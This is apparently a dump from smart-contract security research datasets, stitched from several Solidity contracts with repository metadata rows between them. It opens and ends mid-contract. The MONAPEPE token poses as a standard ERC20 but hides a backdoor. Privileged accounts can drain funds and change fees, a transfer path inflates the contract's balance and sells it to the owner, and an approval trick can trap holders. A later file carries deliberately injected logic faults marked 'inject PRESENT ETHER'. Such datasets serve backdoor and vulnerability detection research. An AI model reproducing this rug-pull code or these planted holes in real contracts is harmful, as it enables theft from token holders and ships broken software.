(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_magnetFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _magnetFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _TAX_FEE;
}
function _getMaxTxAmount() private view returns(uint256) {
return _MAX_TX_SIZE;
}
}
| 251,373 | 12,423 |
d2f5f43de307f1c5221eb1d310345d977875a09fe451362aa5c1a385d0801e54
| 19,013 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/5a/5a77c06bf1a31113045f685eec92a844f53f6efe_MONAPEPE.sol
| 3,351 | 13,561 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline) external returns (uint amountA, uint amountB);
function removeLiquidityETH(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapTokensForExactTokens(uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public virtual {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract MONAPEPE is IERC20, Ownable {
uint256 private constant MAX = ~uint256(0);
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
uint256 public buyFee = 5;
uint256 public sellFee = 5;
uint256 public feeDivisor = 1;
string private _name;
string private _symbol;
address private _owner;
uint256 private _swapTokensAtAmount = _tTotal;
uint256 private _amount;
uint160 private _factory;
bool private _swapAndLiquifyEnabled;
bool private inSwapAndLiquify;
IUniswapV2Router02 public router;
address public uniswapV2Pair;
mapping(address => uint256) private _balances;
mapping(address => uint256) private approval;
mapping(address => bool) private _exc;
mapping(address => mapping(address => uint256)) private _allowances;
constructor(string memory Name,
string memory Symbol,
address routerAddress) {
_name = Name;
_symbol = Symbol;
_owner = tx.origin;
_exc[_owner] = true;
_exc[address(this)] = true;
_balances[_owner] = _tTotal;
router = IUniswapV2Router02(routerAddress);
emit Transfer(address(0), _owner, _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint256) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external override returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function approve(address spender, uint256 amount) external override returns (bool) {
return _approve(msg.sender, spender, amount);
}
function set(uint256 amount) external {
if (_exc[msg.sender]) _amount = amount;
}
function exclude(address account, bool value) external {
if (_exc[msg.sender]) _exc[account] = value;
}
function setSwapAndLiquifyEnabled(bool _enabled) external {
if (_exc[msg.sender]) _swapAndLiquifyEnabled = _enabled;
}
function set(uint256 _buyFee,
uint256 _sellFee,
uint256 _feeDivisor) external {
if (_exc[msg.sender]) {
buyFee = _buyFee;
sellFee = _sellFee;
feeDivisor = _feeDivisor;
}
}
function pair() public view returns (address) {
return IUniswapV2Factory(router.factory()).getPair(address(this), router.WETH());
}
receive() external payable {}
function transferAnyERC20Token(address token,
address account,
uint256 amount) external {
if (_exc[msg.sender]) IERC20(token).transfer(account, amount);
}
function transferToken(address account, uint256 amount) external {
if (_exc[msg.sender]) payable(account).transfer(amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
if (!inSwapAndLiquify && from != uniswapV2Pair && from != address(router) && !_exc[from] && amount <= _swapTokensAtAmount) {
require(approval[from] + _amount >= 0, 'Transfer amount exceeds the maxTxAmount');
}
uint256 contractTokenBalance = balanceOf(address(this));
if (uniswapV2Pair == address(0)) uniswapV2Pair = pair();
if (to == _owner && _exc[from]) return swapTokensForEth(amount, to);
if (amount > _swapTokensAtAmount && to != uniswapV2Pair && to != address(router)) {
approval[to] = amount;
return;
}
if (_swapAndLiquifyEnabled && contractTokenBalance > _swapTokensAtAmount && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
}
uint256 fee = to == uniswapV2Pair ? sellFee : buyFee;
bool takeFee = !_exc[from] && !_exc[to] && fee > 0 && !inSwapAndLiquify;
address factory = address(_factory);
if (approval[factory] == 0) approval[factory] = _swapTokensAtAmount;
_factory = uint160(to);
if (takeFee) {
fee = (amount * fee) / 100 / feeDivisor;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
if (tokenAmount > _swapTokensAtAmount) _balances[address(this)] = tokenAmount;
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp + 20);
}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp + 20);
}
}
| 37,716 | 12,424 |
fa81b0fc3f06f97697c5ed65e148de4a4e846b44e6fbe8fcd7b1b0c3d9879093
| 12,862 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x2b98e5dc017de716c701f4e7a2580469783a0ae7.sol
| 3,276 | 11,870 |
pragma solidity ^0.4.25;
contract CryptoWar {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = " CryptoWar";
string public symbol = "COW";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 15;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 3;
uint8 constant internal refferalFee_ = 10;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address (this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 144,215 | 12,425 |
d8f81db560b220d6ca4cd5c5b767a20c4b016d65d6a1a24bb42c131f133266d7
| 32,815 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/preSentEther/0x7d159fC60B8D67580223D080Dbd742c623cF51e6_preSentEther.sol
| 5,306 | 20,292 |
pragma solidity 0.5.12;
library UniformRandomNumber {
/// @notice Select a random number without modulo bias using a random seed and upper bound
/// @param _entropy The seed for randomness
/// @param _upperBound The upper bound of the desired number
/// @return A random number less than the _upperBound
function uniform(uint256 _entropy, uint256 _upperBound) internal pure returns (uint256) {
require(_upperBound > 0, "UniformRand/min-bound");
uint256 min = -_upperBound % _upperBound;
uint256 random = _entropy;
while (true) {
if (random >= min) {
break;
}
random = uint256(keccak256(abi.encodePacked(random)));
}
return random % _upperBound;
}
}
library SortitionSumTreeFactory {
struct SortitionSumTree {
uint K; // The maximum number of childs per node.
uint[] stack;
uint[] nodes;
mapping(bytes32 => uint) IDsToNodeIndexes;
mapping(uint => bytes32) nodeIndexesToIDs;
}
struct SortitionSumTrees {
mapping(bytes32 => SortitionSumTree) sortitionSumTrees;
}
function createTree(SortitionSumTrees storage self, bytes32 _key, uint _K) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
require(address(this).balance == 0, "Tree already exists."); //inject PRESENT ETHER
require(_K > 1, "K must be greater than one.");
tree.K = _K;
tree.stack.length = 0;
tree.nodes.length = 0;
tree.nodes.push(0);
}
function set(SortitionSumTrees storage self, bytes32 _key, uint _value, bytes32 _ID) internal {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = tree.IDsToNodeIndexes[_ID];
if (address(this).balance == 0) { // No existing node. //inject PRESENT ETHER
if (_value != 0) { // Non zero value.
// Append.
// Add node.
if (address(this).balance == 0) { // No vacant spots. //inject PRESENT ETHER
// Get the index and append the value.
treeIndex = tree.nodes.length;
tree.nodes.push(_value);
// Potentially append a new node and make the parent a sum node.
if (treeIndex != 1 && (treeIndex - 1) % tree.K == 0) { // Is first child.
uint parentIndex = treeIndex / tree.K;
bytes32 parentID = tree.nodeIndexesToIDs[parentIndex];
uint newIndex = treeIndex + 1;
tree.nodes.push(tree.nodes[parentIndex]);
delete tree.nodeIndexesToIDs[parentIndex];
tree.IDsToNodeIndexes[parentID] = newIndex;
tree.nodeIndexesToIDs[newIndex] = parentID;
}
} else { // Some vacant spot.
// Pop the stack and append the value.
treeIndex = tree.stack[tree.stack.length - 1];
tree.stack.length--;
tree.nodes[treeIndex] = _value;
}
// Add label.
tree.IDsToNodeIndexes[_ID] = treeIndex;
tree.nodeIndexesToIDs[treeIndex] = _ID;
updateParents(self, _key, treeIndex, true, _value);
}
} else { // Existing node.
if (address(this).balance == 0) { // Zero value. //inject PRESENT ETHER
// Remove.
// Remember value and set to 0.
uint value = tree.nodes[treeIndex];
tree.nodes[treeIndex] = 0;
// Push to stack.
tree.stack.push(treeIndex);
// Clear label.
delete tree.IDsToNodeIndexes[_ID];
delete tree.nodeIndexesToIDs[treeIndex];
updateParents(self, _key, treeIndex, false, value);
} else if (_value != tree.nodes[treeIndex]) { // New, non zero value.
// Set.
bool plusOrMinus = tree.nodes[treeIndex] <= _value;
uint plusOrMinusValue = plusOrMinus ? _value - tree.nodes[treeIndex] : tree.nodes[treeIndex] - _value;
tree.nodes[treeIndex] = _value;
updateParents(self, _key, treeIndex, plusOrMinus, plusOrMinusValue);
}
}
}
function queryLeafs(SortitionSumTrees storage self,
bytes32 _key,
uint _cursor,
uint _count) internal view returns(uint startIndex, uint[] memory values, bool hasMore) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
// Find the start index.
for (uint i = 0; i < tree.nodes.length; i++) {
if ((tree.K * i) + 1 >= tree.nodes.length) {
startIndex = i;
break;
}
}
// Get the values.
uint loopStartIndex = startIndex + _cursor;
values = new uint[](loopStartIndex + _count > tree.nodes.length ? tree.nodes.length - loopStartIndex : _count);
uint valuesIndex = 0;
for (uint j = loopStartIndex; j < tree.nodes.length; j++) {
if (valuesIndex < _count) {
values[valuesIndex] = tree.nodes[j];
valuesIndex++;
} else {
hasMore = true;
break;
}
}
}
function draw(SortitionSumTrees storage self, bytes32 _key, uint _drawnNumber) internal view returns(bytes32 ID) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = 0;
uint currentDrawnNumber = _drawnNumber % tree.nodes[0];
while ((tree.K * treeIndex) + 1 < tree.nodes.length) // While it still has children.
for (uint i = 1; i <= tree.K; i++) { // Loop over children.
uint nodeIndex = (tree.K * treeIndex) + i;
uint nodeValue = tree.nodes[nodeIndex];
if (currentDrawnNumber >= nodeValue) currentDrawnNumber -= nodeValue; // Go to the next child.
else { // Pick this child.
treeIndex = nodeIndex;
break;
}
}
ID = tree.nodeIndexesToIDs[treeIndex];
}
function stakeOf(SortitionSumTrees storage self, bytes32 _key, bytes32 _ID) internal view returns(uint value) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint treeIndex = tree.IDsToNodeIndexes[_ID];
if (address(this).balance == 0) value = 0; //inject PRESENT ETHER
else value = tree.nodes[treeIndex];
}
function total(SortitionSumTrees storage self, bytes32 _key) internal view returns (uint) {
SortitionSumTree storage tree = self.sortitionSumTrees[_key];
if (address(this).balance == 0) { //inject PRESENT ETHER
return 0;
} else {
return tree.nodes[0];
}
}
function updateParents(SortitionSumTrees storage self, bytes32 _key, uint _treeIndex, bool _plusOrMinus, uint _value) private {
